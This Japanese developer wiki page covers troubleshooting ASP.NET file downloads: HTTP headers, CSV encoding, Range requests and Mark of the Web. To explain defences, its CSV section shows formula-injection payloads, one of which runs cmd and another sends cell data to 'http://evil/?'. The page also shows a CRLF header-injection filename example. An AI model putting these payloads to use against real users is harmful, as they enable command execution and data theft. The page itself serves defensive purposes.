Skip to content

MS_DownloadTopics

nishi_74322014 edited this page Aug 21, 2026 · 1 revision

ダウンロードのいろいろ

概要

ダウンロード処理についての問い合わせが多いのでメモ

補足(本ページの読み方): 本ページは
「ダウンロードが正しく動かない」という問い合わせへの回答集である。
症状の原因がほぼすべて HTTP ヘッダにあるという構成になっており、
この着眼は現在も有効である。

【ダウンロードの障害切り分けの順序】

 ① 【HTTP ヘッダを見る】★ ここで大半が判明する
      Content-Type / Content-Disposition / Content-Length
      Cache-Control / Transfer-Encoding
 ② レスポンス ボディが壊れていないか(先頭バイトを見る)
 ③ クライアント側の問題か(別ブラウザ・別 PC で再現するか)
 ④ 経路上の問題か(プロキシ、WAF、CDN)

現在は開発者ツールの [ネットワーク] タブで①②が即座に見られる
(原文の時代は HTTP デバッグ プロキシが必要だった)。

初期化・終了処理

ヘッダの初期化

誤ったヘッダを付与しないよう、一度クリアし正しいヘッダを付与します。

// HTTPレスポンスのヘッダ&エンティティのクリア
Response.Clear();

書き込み終了処理

以降のバッファへの書き込みを停止し HTTP レスポンスを確定させます。

  • ※ これを行わないと、当該画面の HTML 出力がファイル出力の後に続いてしまったりします。
  • ※ Response.Flash() は最終的には Flash されるため必須ではありません。
// HTTPレスポンス エンティティ設定の終了
Response.End(); 

移行メモ(Response.Flash()Response.Flush(): 原文の
「Response.Flash()」「Flash される」は、
**Response.Flush()(フラッシュ)**の誤りである。

補足(Response.End() の重大な副作用): この 1 行は
.NET Framework 期に最も多くの障害を生んだ API の 1 つである。

【Response.End() が内部で行うこと】
   ・出力をフラッシュする
   ・【ThreadAbortException を投げる】★
      → 現在のスレッドを強制的に中断してページ処理を打ち切る

【問題】
   ・try/catch で囲んでいると【catch に落ちる】
      → 「なぜか例外ログが出る」の原因
   ・finally / using の Dispose が想定外の順序で走る
   ・ThreadAbortException は【catch しても再スローされる】
   ・非同期処理と組み合わせると挙動が不定
// ✗ 例外が飛ぶ(catch に入ってしまう)
try {
    Response.WriteFile(path);
    Response.End();
} catch (Exception ex) {
    Log.Error(ex);        // ← ThreadAbortException が毎回記録される ★
}

// ○ .NET Framework での推奨
Response.WriteFile(path);
Response.Flush();
Response.SuppressContent = true;                 // 以降の出力を抑止
HttpContext.Current.ApplicationInstance.CompleteRequest();  // 例外を投げない ★

ASP.NET Core では、この問題自体が存在しない

// ASP.NET Core:ファイルを返すだけ。Clear も End も不要 ★
return File(stream, "application/pdf", "test.pdf");
return PhysicalFile(path, "application/pdf", "test.pdf");

Response.Clear() が必要だったのは、
ASP.NET Web Forms
「ページの HTML を出力する」前提だったため
である。
MVC / Core ではアクションが返すものだけが出力されるので、
クリアという概念が要らない。

HTTPヘッダ

  • 誤った HTTP ヘッダを付与すると正しくダウンロードできないことがあります。
  • HTTP ヘッダの確認方法については、こちら(HTTPデバッグ)を参照。

Cacheabilityヘッダ

キャッシュを無効化すると、ダウンロード・ファイルを
ダイアログで保存しないと、直接開けない現象があるようです。

// キャッシュ無効化
Response.Cache.SetCacheability(HttpCacheability.NoCache);

補足(この現象の正体): 原文が記録している症状は、
IE 特有の有名な不具合である。原因を明記しておく。

【なぜ「開く」ができなかったのか】

  IE は「開く」を選んだ場合、
    ① いったん【一時ファイル(キャッシュ)に保存】し
    ② そのファイルを関連付けアプリで開く

  ところが、
    Cache-Control: no-cache, no-store
    Pragma: no-cache
  が付いていると
    → IE は【ディスクに保存しない】
    → ①ができない
    → 「開く」が失敗する ★
// 当時の定番の回避策(HTTPS + IE でも動く設定)
Response.Cache.SetCacheability(HttpCacheability.Private);
// または
Response.AppendHeader("Cache-Control", "private, max-age=0");

現在の状況:

・IE は 2022 年にサポート終了
・Chromium 系 / Firefox / Safari は【この問題を起こさない】
   → no-store でもダウンロードは正常に完了する

【現在の指針】
   ・機密性のあるファイルは【no-store を付けてよい】
      Cache-Control: no-store, must-revalidate
   ・共有 PC のブラウザ キャッシュに残さないため、
     むしろ【積極的に付けるべき】場合が多い ★

Content-Typeヘッダ

Content-Type ヘッダには適切なものを指定する必要があります。

// MIMEタイプ
Response.ContentType = "application/pdf";

補足(Content-Type はセキュリティの問題でもある): 参考リンクの
「IE の Content-Type 無視」が指すのは、
MIME スニッフィングという挙動である。

【MIME スニッフィング】
   ブラウザが Content-Type を信用せず、
   【中身を見て種類を推測する】

  例: Content-Type: text/plain で HTML を返す
       → IE が「これは HTML だ」と判断して【実行する】
       → 利用者がアップロードしたファイルを配信していると、
         【XSS になる】★

現在の必須対策:

X-Content-Type-Options: nosniff
  → 「Content-Type を信じろ。推測するな」という指示
  → 【全レスポンスに付けるのが現在の標準】★
// ASP.NET Core(全レスポンスに付与)
app.Use(async (ctx, next) =>
{
    ctx.Response.Headers["X-Content-Type-Options"] = "nosniff";
    await next();
});

利用者がアップロードしたファイルを配信する場合の要点
アップロードのいろいろ と対になる):

① Content-Type を【サーバ側で決める】(アップロード時の自称を使わない)
② X-Content-Type-Options: nosniff を付ける
③ Content-Disposition: attachment にする(インライン表示させない)★
④ 可能なら【別ドメイン(サンドボックス ドメイン)から配信する】
    → 万一 HTML が実行されても、本体のドメインの Cookie に触れない

④ が最も効く
GitHub が raw.githubusercontent.com
Google が googleusercontent.com を使うのはこの理由である。

Content-Dispositionヘッダ

  • ファイルとしてのダウンロードを要求するか?
  • OLE ドキュメントとしてインライン表示を要求するか?

で動作が異なりますので注意が必要になります。

attachment

ファイルとしてのダウンロードを要求する。

//こっちは、専用アプリケーションで開く
Response.AppendHeader("Content-Disposition", "attachment;filename=test.pdf");

inline

OLE ドキュメントとしてインライン表示を要求する。
(ただし、対応しているアプリケーションに限る)

//こっちは、IEからOLEオブジェクトを開く
Response.AppendHeader("Content-Disposition", "inline;filename=test.pdf");

また、Adobe Reader でのインライン表示は、
「PDF をブラウザに表示」環境設定が必要になるようです。

補足(日本語ファイル名の扱い ── 最頻出の障害): 本節の書き方には
重大な欠落がある。日本語のファイル名が化ける問題である。

【問題】
   HTTP ヘッダは【原則 ASCII】である(RFC 7230)
     → filename=請求書.pdf をそのまま書くと、
       ブラウザによって化ける/別名になる

**現在の正解は filename*(RFC 6266 / RFC 5987)**である。

Content-Disposition: attachment;
  filename="invoice.pdf";                              ← 旧式クライアント用(ASCII)
  filename*=UTF-8''%E8%AB%8B%E6%B1%82%E6%9B%B8.pdf     ← 現在の標準 ★
// ASP.NET Core:これだけで両方を正しく出力してくれる ★
return File(stream, "application/pdf", "請求書.pdf");

// 自前で組む場合
var cd = new System.Net.Mime.ContentDisposition
{
    FileName = "請求書.pdf",
    Inline = false,
};
Response.Headers["Content-Disposition"] = cd.ToString();
【当時の回避策(もう不要)】
   ・HttpUtility.UrlEncode でファイル名をエンコードして filename= に入れる
      → IE だけが解釈する非標準の挙動に依存していた
   ・Shift_JIS のバイト列をそのまま書く
      → 環境依存。現在は使わない

さらに重要なセキュリティ上の注意:

【ヘッダ インジェクション】★
   ファイル名に改行(CR/LF)が含まれていると、
   【任意の HTTP ヘッダを注入できる】

  filename="a.pdf\r\nSet-Cookie: admin=true"

【対策】
   ・ファイル名から改行・制御文字を除去する
   ・.NET の最近のバージョンは【ヘッダ値の改行を拒否する】が、
     自前で文字列連結している箇所は要確認
   ・そもそも【利用者由来の文字列をヘッダに直接入れない】

inlineattachment の使い分け(現在):

用途 指定
利用者がアップロードしたファイル 必ず attachment ★(前述の XSS 対策)
自システムが生成した PDF(帳票プレビュー) inline でよい
CSV / Excel attachment(ブラウザで開いても意味がない)
画像(<img> で表示) Content-Disposition を付けない

移行メモ(「OLE ドキュメント」という表現): 原文の
「OLE ドキュメントとしてインライン表示」は、
IE が ActiveX(Acrobat / Office のブラウザ プラグイン)で
ドキュメントを埋め込み表示していた
当時の仕組みを指す。

【現在】
   ・ActiveX は Chromium 系に存在しない
   ・PDF は【ブラウザ内蔵の PDF ビューア】が表示する ★
      → Adobe Reader の「PDF をブラウザに表示」設定は無関係になった
   ・Office ドキュメントはブラウザ内では開けない
      (Office for the web / SharePoint 経由なら可)

Content-Lengthヘッダ

付与しない事に因る問題

Content-length 設定の有無による
動作の違いについて CGI の Q&A【OKWave】
https://okwave.jp/qa/q113178.html

  • 進捗ダイアログの表示に問題が出る。

  • また、単純に TCP/IP の受信ロジックを考えて、

    • 受信バッファの採り方や、
    • 受信バイト数などが変わって

効率・性能が変わることは有り得る。

が、それ以外に大きな問題は無いと考える。

一般の対応状況

  • 通常の HTML のレスポンス

    HTTP/1.1 200 OK				
    Cache-Control: private				
    Content-Type: text/html; charset=shift_jis				
    Server: Microsoft-IIS/7.5				
    Refresh: 1200;URL=xxx.aspx				
    X-AspNet-Version: 4.0.30319				
    X-Powered-By: ASP.NET				
    Date: Thu, 02 May 2013 04:50:27 GMT				
    Content-Length: 12288				
    

    Stream に Write している HTML などのレスポンスには、
    AP サーバ側が HTTP ヘッダに自動的に付与するものと思われる。

  • PDF などファイルのレスポンス

    HTTP/1.1 200 OK
    Cache-Control: private
    Transfer-Encoding: chunked
    Content-Type: application/pdf; charset=Shift_JIS
    Server: Microsoft-IIS/7.5
    Refresh: 1200;URL=xxx.aspx
    Content-Disposition: attachment;filename=e:xxx.pdf
    X-AspNet-Version: 4.0.30319
    X-Powered-By: ASP.NET
    Date: Thu, 02 May 2013 04:50:29 GMT
    
    69ace
    %PDF-1.4
    %粤マモ
    2 0 obj
    
    ・・・
    

    Stream に Write していない WriteFile 系のレスポンスには、
    AP サーバ側が HTTP ヘッダに自動的に付与しないものと思われる。

  • c# - Response.WriteFile PDF files
     - corrupted files - Stack Overflow
    https://stackoverflow.com/questions/770084/response-writefile-pdf-files-corrupted-files

    .NET の Response.WriteFile() メソッドは、
    Content-Length を自動的に設定しない模様
    (HTML 出力の場合は自動的に付与される)。

  • ファイルダウンロード処理(Java) プログラマーの雑記帳
    http://programmer-toy-box.sblo.jp/article/13810580.html

    Java でも HTTP レスポンス・ストリームへの
    ファイルの書き出し時の Content-Length 設定は自動では無く、
    res.setContentLength() メソッドでの設定が独自に必要になる模様
    (HTML 出力の場合は自動的に付与される)。

故に、PDF、CSV などの WriteFile 系のレスポンスの場合、
Content-Length が付与されていないケースも多いと言える。

補足(原文の観察は正確。仕組みを補う): **「HTML には付くのに、
ファイルには付かない」**という観察は正しく、
実際のヘッダ ダンプまで残している点が有用である。理由を明記する。

【Content-Length が付く条件】
   サーバが【送信前に全体のサイズを知っている】こと

 ① HTML の場合
     レスポンスをバッファに溜めてから送る(Response.Buffer = true)
       → 溜め終わった時点でサイズが確定する
       → 【自動的に Content-Length が付く】★

 ② WriteFile / ストリーミングの場合
     バッファせずに流す、あるいは途中でフラッシュする
       → 送信開始時点でサイズが分からない
       → 【Transfer-Encoding: chunked】になる
         (原文のダンプがまさにこれ)

Transfer-Encoding: chunked の実際の影響:

影響 内容
進捗表示 「あと○%」が出ない(分母が不明)★
レジューム Range リクエストが使えないことがある
プロキシ / WAF 一部の機器で扱いが不安定
性能 チャンク ヘッダの分だけわずかに増える
正しさ 問題なし(HTTP/1.1 の正当な仕様)
// 明示的に設定する(サイズが分かる場合は付けるべき)
Response.AddHeader("Content-Length", new FileInfo(path).Length.ToString());
Response.WriteFile(path);
// ASP.NET Core:PhysicalFile / File(stream) は
// ストリームが Length を持てば【自動で Content-Length を付ける】★
return PhysicalFile(path, "application/pdf", "test.pdf",
                    enableRangeProcessing: true);   // ← レジュームも有効化

原文のダンプから読み取れる、もう 1 つの問題:

Content-Type: application/pdf; charset=Shift_JIS
                                ↑ 【バイナリに charset は無意味】★
   → Response.Charset が既定で付いてしまっている
   → 害はないが、正しくない。Response.Charset = null; で消せる

Content-Disposition: attachment;filename=e:xxx.pdf
                                         ↑ 【サーバのフル パスが漏れている】★
   → Path.GetFileName() を通していない
   → 情報漏洩(ディレクトリ構成が分かる)であり、修正すべき

Rangeヘッダ

分割ダウンロードの作り込みは、
クライアント-サーバのミドルウェアでも作り込みが甘く問題を起こすことが多い。
このためダウンロード問題が起きた場合、Range ヘッダーに注目するのも良い。

  • HTTPのRangeアクセスを実装して、
    分割ダウンロードに対応する - もなじろう日記
    https://d.hatena.ne.jp/monajiro/20100617/p1

    • クライアント

      • Range リクエスト・ヘッダ
    • サーバ

      • Content-Ranges レスポンス・ヘッダ
      • Content-Type multipart/byteranges レスポンス・ヘッダ
  • [Studying HTTP] Range Requests and Partial Responses
    http://www.studyinghttp.net/range

移行メモ(ヘッダ名): レスポンス側のヘッダ名は
Content-Range(単数形)が正しい
(原文は「Content-Ranges」)。
なお、サーバが Range に対応していることを示すのは
Accept-Ranges: bytes
である。

補足(Range の仕組みと現在の重要性):

【やり取り】
  クライアント →  Range: bytes=1000-1999
  サーバ       ←  HTTP/1.1 206 Partial Content
                   Content-Range: bytes 1000-1999/50000
                   Accept-Ranges: bytes
                                       ↑ 全体サイズ

Range が効く場面:

・【ダウンロードの中断・再開】(レジューム)
・【動画・音声のシーク】★ これが現在の主用途
   → <video> の再生位置を動かすと Range リクエストが飛ぶ
   → 対応していないと【シークできない・再生できない】
・並列ダウンロード(複数の範囲を同時に取る)
// ASP.NET Core:明示的に有効化する(既定は無効な場合がある)
return PhysicalFile(path, "video/mp4", enableRangeProcessing: true);

// 静的ファイル ミドルウェアは既定で Range に対応している
app.UseStaticFiles();

**原文の「作り込みが甘く問題を起こすことが多い」**という指摘は
今も有効で、自前で Range を実装すると誤りやすい

【自前実装でよくある誤り】
   ・206 ではなく 200 を返してしまう
   ・Content-Range の総サイズを間違える
   ・範囲外(416 Range Not Satisfiable)の処理がない
   ・複数範囲(multipart/byteranges)に非対応

→ 【フレームワークの機能を使う】のが正解 ★
→ あるいはオブジェクト ストレージから直接配信する
  (Range 対応は SDK / サービス側が保証する)

各種ファイルのダウンロード

こちらも同様に、必要に応じて

  • 都度 HTTP デバッグ・プロキシを使用して HTTP デバッグするのが良いかと思います。
  • Web 上の情報(若しくは↓の参考情報)を参考にしてセルフ・サポートしてみて下さい。

良くある事例を以下に列挙します。

PDF

Adobe Reader 側の問題である場合は、MS のサポート対象外になります。

window.open()+IEのインライン表示

環境によって JavaScript の window.open() + PDF のインライン表示で、
PDF が表示されず真っ白な blank 画面が表示される事例がありました。

対策方法は、

  • 動作する環境を前提環境とするか、

  • window.open() した画面から
    IFrame 経由でインライン表示する方法を採用する

・・・で対応しました。

参考情報

補足(この事例は現在は起きない): window.open() + PDF の
白画面は、IE + Adobe Reader プラグイン(ActiveX)固有の問題であり、
現在のブラウザでは発生しない

【現在の PDF 表示】
   ・Chromium 系 / Firefox / Safari は【内蔵 PDF ビューア】で表示
   ・ActiveX プラグインは存在しない
   ・Adobe Reader の設定に依存しない ★

ただし、window.open() 自体には現在も注意点がある

① 【ポップアップ ブロック】
     利用者の操作(クリック)に起因しない window.open は
     ブロックされる
     → 【非同期処理の後に呼ぶと弾かれる】★

       ✗ const url = await fetch(...); window.open(url);
       ○ const w = window.open('');           // 先に開く
         const url = await fetch(...);
         w.location = url;                    // 後から遷移させる

② 【rel="noopener"】
     別タブから window.opener 経由で元ページを操作されうる
     → target="_blank" には rel="noopener noreferrer" を付ける

現在の PDF ダウンロードの素直な書き方:

<!-- リンクで十分(JS 不要) -->
<a href="/api/invoices/123/pdf" download="請求書.pdf">ダウンロード</a>
// 認証ヘッダが要る場合(Blob 経由)
const res = await fetch(url, { headers: { Authorization: `Bearer ${token}` } });
const blob = await res.blob();
const objectUrl = URL.createObjectURL(blob);
const a = Object.assign(document.createElement('a'),
                        { href: objectUrl, download: '請求書.pdf' });
a.click();
URL.revokeObjectURL(objectUrl);      // ← 解放を忘れない ★

CSV

Content-Type

いろいろ問題が発生するケースがあるようです。

補足(「CSV が HTML になる」の原因): 挙げられている事例は、
原因がほぼ 1 つに集約される

【原因】
  ① Content-Type が text/html のまま(設定漏れ)
  ② Response.Clear() を忘れ、【HTML が先に出力されている】★
      → [ASP.NET Web Forms](MS_ASPNETWebForms) では
        ページの HTML がレスポンスに混ざる
  ③ Response.End() を忘れ、CSV の【後ろに HTML が続く】
  ④ IE の MIME スニッフィング(前述)

 → 本ページ冒頭の「初期化・終了処理」が
   まさにこの対策である ★

現在の推奨 Content-Type:

text/csv; charset=utf-8      ← 【RFC 4180 の正式な型】★
【application/vnd.ms-excel は使わない】
   ・実体は CSV なのに Excel 形式と自称することになる
   ・Excel 以外のツールが混乱する
   ・Excel が「拡張子と形式が違う」と警告を出すことがある

Encoding

日本語環境の Excel が開くことができる CSV ファイルのエンコードは

  • Shift-JIS
  • BOM 付 UTF-8

に限定されています。

このため、

Excel で開かれることを考慮した UTF-8 の CSV ファイル
を作成する場合は、BOM を付け忘れないようご注意ください。

サンプルコード(BOM 付 UTF-8)

// HTTPレスポンスのヘッダ&エンティティのクリア
Response.Clear();

// HTTPレスポンス ヘッダ再設定

// MIMEタイプを設定
Response.ContentType = "text/csv";

// ダウンロードダイアログを開く
Response.AppendHeader("Content-Disposition", "attachment;filename=test.csv");

// UTF-8のBOM(EF BB BF)を先頭につける
Response.BinaryWrite(new byte[]{239, 187, 191});

// 文字列をUTF-8のバイナリデータに変換する
Response.BinaryWrite(System.Text.Encoding.UTF8.GetBytes("りんご,100円\r\nみかん,50円"));

// HTTPレスポンス エンティティ設定の終了
Response.End();

補足(BOM の指摘は今も最重要): **「BOM を付け忘れないよう」**という
原文の警告は、現在も CSV ダウンロードで最も重要な実装上の注意である
エンコーディング でも同じ点に触れた)。

【BOM なし UTF-8 の CSV を Excel でダブルクリックすると】
   → Excel が【CP932 と誤認】して文字化けする ★
   → 「テキスト ファイル ウィザード」を使えば読めるが、
     利用者にそれを求めるのは現実的でない

ASP.NET Core での書き方:

public IActionResult ExportCsv()
{
    var sb = new StringBuilder();
    sb.Append('');                       // ← BOM(文字として付ける)★
    sb.AppendLine("商品,価格");
    sb.AppendLine("りんご,100");
    return File(new UTF8Encoding(false).GetBytes(sb.ToString()),
                "text/csv; charset=utf-8", "test.csv");
}
// 大量データはストリームで書き出す(メモリに載せない)
public IActionResult ExportLargeCsv()
{
    Response.Headers["Content-Disposition"] =
        "attachment; filename=\"data.csv\"; filename*=UTF-8''data.csv";
    Response.ContentType = "text/csv; charset=utf-8";
    return new FileCallbackResult("text/csv", async (stream, _) =>
    {
        await using var w = new StreamWriter(stream, new UTF8Encoding(true));
        await w.WriteLineAsync("商品,価格");
        await foreach (var row in _repo.StreamAsync())      // ← 1 行ずつ
            await w.WriteLineAsync($"{Escape(row.Name)},{row.Price}");
    });
}

CSV のエスケープを忘れない(原文のサンプルは単純な例のため未対応):

【RFC 4180】
   ・値に , " 改行 のいずれかを含む → 【全体を " で囲む】
   ・値の中の " → 【"" に二重化する】

  りんご,"100" → OK
  "あ,い"      → カンマを含むので囲む
  "彼は""A""と言った"  → " を二重化

**さらに重要:CSV インジェクション(数式インジェクション)**★

セルの値が = + - @ で始まると、
Excel が【数式として解釈・実行】する

  =cmd|'/c calc'!A1     ← 開いた人の PC でコマンドが動きうる
  =HYPERLINK("http://evil/?"&A1,"click")  ← データを外部に送る

【対策】
   ・値が = + - @ で始まる場合、先頭に ' を付ける、
     または全体を " で囲んだ上で先頭にタブ等を入れる
   ・利用者由来のデータを CSV に出す場合は【必ず行う】
   ・そもそも .xlsx で出力する(数式として解釈されない形で書ける)

**「そもそも CSV を避ける」**という選択肢も検討に値する
帳票出力)。
ClosedXML 等で .xlsx を直接生成すれば、
文字コード・エスケープ・インジェクションの問題がまとめて消える

Office

Officeのoption呼出で認証要求

Windows7 + Office2007 の環境下で IE から HTML リンクから
Web サーバから Excel(CSV) をダウンロードする際、「保存」ではなく、
「開く」とすると、以下の現象が発生するようになった。

  • IE と別に、Excel が立ち上がる。
  • その際、再度認証(Basic 認証のダイアログ)が求められる。
  • Web サーバは、Apache でも IIS でも発生するのでクライアント側の問題。

対応方法

下記で解決可能です。

その他、以下のページに原因と対策が書かれています。

knowledge

  • Office ドキュメントを開くときの認証要求

  • 原因
    The Office application then tries to access the document directly from the server.
    This differs from other browsers and other file types.
    Most browsers download the file and call the application to open the file from the local cache.

  • 対策方法(以下から選択)

    • Windows 認証+ SSO を使用

    • 認証 Cookie を使用した認証を使用

    • 一度開いたら開きっぱなしにすると認証ダイアログの回数が減る。

    • 「パスワードを記憶する」を選択しておく。
      https://121ware.com/qasearch/1007/app/servlet/qadoc?QID=010801

    • KB838028:[OFF2003] Office 2003 で
      Web サイトからドキュメントを開く方法
      https://support.microsoft.com/kb/838028

      • キャッシュ(Office Protocol Discovery Cache)
        からの起動で option 呼び出ししなくなるらしい。
        HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Common\Internet\Server Cache

      • キャッシュは2週間でクリアされるもよう
        KB916658:表示されたら資格情報 Office 2003 で、
        Web リソースを表示するときの 2 週間ごと
        https://support.microsoft.com/kb/916658

    • Web サーバの設定を変更する。
      option 呼び出しで認証をしないようにする。
      ・・・しかし direct-editing 機能(WebDav)が無効になる。

補足(この現象の構造): 引用されている英文が
原因を正確に述べているので、日本語で整理しておく。

【普通のブラウザ・ファイル】
   ブラウザがダウンロード → ローカル キャッシュに保存
     → 関連付けアプリが【ローカルのファイル】を開く
     → サーバへの再アクセスは発生しない

【Office ドキュメント(当時)】★
   ブラウザが Office を起動
     → 【Office が自分でサーバにアクセスしに行く】
        (直接編集= WebDAV による保存を可能にするため)
     → Office は【ブラウザのセッション(Cookie)を持っていない】
     → 【再度認証を求められる】

   さらに、Office はまず OPTIONS メソッドを投げて
   「このサーバは WebDAV に対応しているか」を調べる
     → これが原文の「option 呼出」★

現在の状況:

・IE が終了し、Chromium 系では【Office が直接取りに行く挙動をしない】
   → この現象自体はほぼ起きなくなった
・Office のドキュメントは通常どおりダウンロードされ、
  ローカル ファイルとして開かれる
・[Windowsの外字](MS_WindowsGaiji) の Session 0 問題と同様、
  「別プロセスが独自にアクセスする」構造が問題だった

現在、Web からの Office ドキュメント編集を実現するなら:

・SharePoint / OneDrive + 【Office for the web】★
    → ブラウザ内で編集。認証はブラウザのセッションで完結
・ダウンロード → 編集 → アップロード(明示的な往復)
・[アップロードのいろいろ](MS_UploadTopics) の SAS URL 方式と組み合わせる

Content-Disposition: inline にするという原文の対策は、
現在は推奨しない
。前述の通り、
利用者由来のファイルを inline にすると XSS の危険があるためである。

その他

ZoneID

ネットワーク越しでコピーした場合など、NTFS 上に ZoneId が付与される場合がある。
この ZoneId を持つファイルを実行する場合にメッセージが表示される。

  • @IT:Windows TIPS -- Knowledge:XP SP2のZoneIdとは?
    https://atmarkit.itmedia.co.jp/fwin2k/win2ktips/498zoneid/zoneid.html

    Windows XP Service Pack 2(以下 XP SP2)の Internet Explorer(IE)では、
    セキュリティ対策の一環として、新たに「ZoneId(ゾーン ID)」と呼ばれる仕組みが導入された。
    インターネット・ゾーンからダウンロードしたファイルや、
    Outlook Express で保存したメールの添付ファイルに対して、
    ZoneId と呼ばれる一種の「目印(マーカー)」を付けておき、
    エクスプローラなどでダブルクリックして実行しようとすると、
    本当に実行してもよいかどうかがユーザーに対して問い合わせられる機能である。
    そして、ユーザーが許可した場合にのみプログラムの実行が行われる。
    従来は、いったんローカルにダウンロードすれば何の制約もなくファイルを実行することができたが、
    ZoneId により、インターネット・ゾーンから取得したファイルに対しては、
    ある程度の制約を課すことができるようになった。

  • アドレス表記を変更してIEのゾーンを切り替える - @IT
    https://atmarkit.itmedia.co.jp/fwin2k/win2ktips/1201iezone/iezone.html

    Internet Explorer(IE)では、アクセスする先の Web サイトを
    「インターネット ゾーン」や「ローカル イントラネット ゾーン」という
    「ゾーン」で分類し、それぞれ異なるセキュリティ設定を適用することによって、
    ブラウザの安全性を確保している。
    例えばインターネット・ゾーンに対しては、実行できるスクリプトや
    ActiveX コントロール、ダウンロード機能などを制限してセキュリティを高くするが、
    イントラネット・ゾーンに対しては制限を緩和し、
    ユーザーの業務などに支障が出ないようにする、といった具合である。

Sysinternals にて streams というコマンドが提供されており、
プログラムから ZoneId を削除することができる。

補足(ZoneId は現在「MOTW」と呼ばれ、重要性が増した): 原文が
記録している仕組みは、現在
**MOTW(Mark of the Web)**という名で呼ばれ、
むしろ役割が拡大している

【実体】
   NTFS の【代替データ ストリーム(ADS)】に記録される
     ファイル名:Zone.Identifier

   [ZoneTransfer]
   ZoneId=3                     ← 3 = インターネット
   ReferrerUrl=https://...
   HostUrl=https://.../file.xlsx

   ZoneId: 0=ローカル 1=イントラネット 2=信頼済み
           3=インターネット 4=制限付き

現在 MOTW が効く場面(大幅に増えた):

対象 挙動
Office ファイル 保護ビューで開く(マクロ実行不可)★
マクロ付き Office(.xlsm 等) 2022 年以降、既定でマクロがブロックされる
実行ファイル SmartScreen の警告
.NET / MSBuild ビルドで警告(MSBuild:Mark of the Web
スクリプト(.ps1 等) 実行ポリシーで制限
ZIP の中身 展開時に MOTW が伝播する(Windows 11)
【業務システムへの影響】★ 実際に問い合わせが来る
   「Web システムから DL した Excel でマクロが動かない」
     → MOTW が付いているため(正常な動作)

   【正しい対処】
      ・利用者に「編集を有効にする」を案内する
      ・または【信頼できる場所】に配置する運用にする
      ・または【デジタル署名されたマクロ】にする
      ・グループ ポリシーで信頼済みサイトに登録する

   【やってはいけない対処】
      ・MOTW を一律で無効化する(防御を捨てることになる)★
# MOTW の確認・削除(PowerShell では Sysinternals 不要)
Get-Content .\file.xlsx -Stream Zone.Identifier
Unblock-File .\file.xlsx

サーバ側で MOTW を制御することはできない
(クライアント側でファイルを保存する際に付与されるため)。
「ダウンロードしたファイルには MOTW が付く」ことを前提に
運用を設計する
必要がある。

2GB制限

  • 2GB 以上のファイルを扱えないケースがあるので注意する。

  • ダウンロードというよりファイルシステム& API の使い方に起因する話。

IE

補足(現在の 2GB 問題): ブラウザ側の制限は解消したが、
サーバ側の実装で今も当たる
アップロードのいろいろ と同じ構図)。

【今も 2GB で壊れる実装】
   ・byte[] に全部読んでから返す(配列の上限)
   ・MemoryStream に溜める(内部が byte[])★
   ・Response.BinaryWrite(全体) を一度に呼ぶ

【壊れない実装】
   ・FileStream / ストリームのまま流す
   ・PhysicalFile / File(stream) を使う
   ・そもそも【オブジェクト ストレージから直接ダウンロードさせる】★
// ✗ 2GB で落ちる
var bytes = System.IO.File.ReadAllBytes(path);
return File(bytes, "application/zip", "big.zip");

// ○ ストリーム(メモリ使用量が一定)
return PhysicalFile(path, "application/zip", "big.zip",
                    enableRangeProcessing: true);

大容量ダウンロードの現在の定石:

【SAS URL / 署名付き URL によるリダイレクト】

  ① ブラウザ → アプリ: GET /api/files/123/download
  ② アプリ: 【認可を確認】し、期限付きの読み取り URL を発行
  ③ アプリ → ブラウザ: 302 Redirect(SAS URL へ)
  ④ ブラウザ → Blob Storage: 直接ダウンロード

 → アプリの帯域・メモリ・タイムアウトを消費しない ★
 → Range / レジューム / CDN もストレージ側が担う
 → 【認可はアプリが握ったまま】である点が重要

参考

Open 棟梁 Wiki

  • ファイルのダウンロード(OTR_FileDownload.md

Microsoft Learn


Tags: 移行, その他、開発の色々

NetDevInfraWiki

マイクロソフト系技術情報 Wiki
Open 棟梁 Wiki

(未着手)

開発基盤部会 Wiki

移行管理: DONETODO

Clone this wiki locally